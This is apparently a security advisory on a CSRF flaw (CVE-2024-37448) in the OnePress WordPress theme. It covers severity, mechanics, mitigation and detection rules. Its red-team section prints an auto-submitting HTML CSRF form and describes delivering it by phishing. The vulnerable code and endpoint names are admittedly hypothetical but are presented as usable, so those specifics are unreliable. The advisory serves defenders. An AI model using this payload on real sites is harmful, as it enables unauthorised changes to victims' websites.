CVE-2024-37448

Executive Summary

CVE-2024-37448 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the OnePress WordPress theme by famethemes, up to and including version 2.3.6. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or injecting malicious content, without their consent. The attack requires user interaction (clicking a crafted link) and has a low CVSS score of 4.3 due to the need for social engineering and limited direct impact on confidentiality or availability. No public proof-of-concept (PoC) or exploit code has been released at this time. The patch status remains unknown, making this a potentially unpatched risk for all sites using the affected theme versions.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. As a WordPress ecosystem issue, it affects site owners who have installed the OnePress theme. No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to the integrity of the WordPress site’s configuration and content, not to the underlying server or application stack.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component and the attacker’s target are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify settings or content, but not all data.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is low, the lack of a patch and the widespread use of WordPress themes make this a significant concern for site administrators. An attacker could chain this CSRF with other vulnerabilities (e.g., stored XSS) to escalate privileges or deface the site.

Deep Dive & Mechanics

The OnePress theme, like many WordPress themes, includes admin-facing functionality for customizing site appearance, layout, and content. The CSRF vulnerability arises because the theme’s admin actions (e.g., saving theme options, importing/exporting settings) do not implement proper nonce verification or CSRF tokens. WordPress provides built-in functions like wp_nonce_field() and check_admin_referer() to prevent CSRF, but the OnePress theme fails to use them in certain endpoints.

Attack Flow:

1. The attacker crafts a malicious HTML page or email containing a form that auto-submits to a vulnerable OnePress admin action URL (e.g., /wp-admin/admin-post.php?action=onepress_save_settings).
2. The attacker lures an authenticated WordPress administrator to visit this page (e.g., via phishing or a compromised site).
3. The victim’s browser, having a valid session cookie, submits the forged request.
4. The server processes the request, modifying theme settings (e.g., changing the site title, injecting malicious JavaScript, or altering CSS) without the administrator’s knowledge.

The vulnerability is classified under CWE-352: Cross-Site Request Forgery. The affected endpoints likely include:

• Theme options save actions
• Customizer import/export
• Any AJAX handlers that modify database entries without nonce checks

Vulnerable vs. Patched Code

Since no official patch has been released, the following is a hypothetical comparison based on common CSRF fixes.

Vulnerable Code (onepress/admin/class-onepress-admin.php):

add_action('admin_post_onepress_save_settings', 'onepress_save_settings');
function onepress_save_settings() {
    // No nonce check
    update_option('onepress_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=onepress'));
}

Patched Code (Hypothetical):

add_action('admin_post_onepress_save_settings', 'onepress_save_settings');
function onepress_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'onepress_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('onepress_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=onepress'));
}

The patched version adds a call to wp_verify_nonce() using a unique nonce generated by wp_nonce_field() in the form. Without this, any authenticated user can be tricked into submitting the form.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site running OnePress <= 2.3.6.
• An authenticated administrator session (the victim).

Step 1: Identify Vulnerable Endpoints Use a tool like Burp Suite or WPScan to enumerate admin actions. Look for POST requests to /wp-admin/admin-post.php or /wp-admin/admin-ajax.php that lack a _wpnonce parameter.

Step 2: Craft the CSRF Payload Create an HTML file (csrf.html) that auto-submits a form to the vulnerable endpoint. For example, to change the site title:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
  <input type="hidden" name="action" value="onepress_save_settings">
  <input type="hidden" name="settings[site_title]" value="Hacked by CSRF">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 3: Deliver the Payload Host the HTML file on an attacker-controlled server or embed it in a phishing email. Send the link to the victim administrator.

Step 4: Verify Exploitation After the victim clicks the link, check the site’s title or settings to confirm the change.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php or /wp-admin/admin-ajax.php from external referrers.
• Look for missing _wpnonce parameters in admin actions.
• Use a Web Application Firewall (WAF) to block requests with suspicious referrers.

Prevention:

• Immediately update the OnePress theme if a patch becomes available.
• Implement a WordPress security plugin (e.g., Wordfence, Sucuri) that adds CSRF protection.
• Educate administrators to avoid clicking suspicious links while logged into WordPress.
• Use a Content Security Policy (CSP) to restrict form submissions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=onepress_* parameters.
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified theme options in the wp_options table (e.g., onepress_settings).
  • Unexpected JavaScript or HTML injected into theme templates.
• Log IOCs:
  • WordPress debug log entries showing admin_post_* actions without nonce.
  • Server access logs with POST /wp-admin/admin-post.php from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2024_37448_CSRF_OnePress {
    meta:
        description = "Detects CSRF exploitation attempts against OnePress theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-37448"
    strings:
        $action = "onepress_save_settings" nocase
        $admin_post = "admin-post.php" nocase
        $nonce_missing = "_wpnonce" nocase
    condition:
        $action and $admin_post and not $nonce_missing
}

Sigma Rule

title: CVE-2024-37448 CSRF Exploitation Against OnePress Theme
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to WordPress admin-post.php with OnePress actions lacking nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains: 'action=onepress_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37448 CSRF OnePress Theme Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=onepress_"; http_uri; pcre:"/^[^&]*action=onepress_[^&]+(?!.*_wpnonce)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the OnePress theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin-post.php that contain action=onepress_ without a valid nonce.
3. Use a WordPress security plugin that adds CSRF tokens to all admin forms.

Long-Term Fix:

• Monitor the famethemes website or WordPress theme repository for an official patch. If none is released, consider forking the theme and adding nonce checks manually, or migrating to an alternative theme.

Verification:

• After applying mitigations, test by attempting to submit a CSRF form from an external domain while logged in as an admin. The request should be blocked.

Valters IT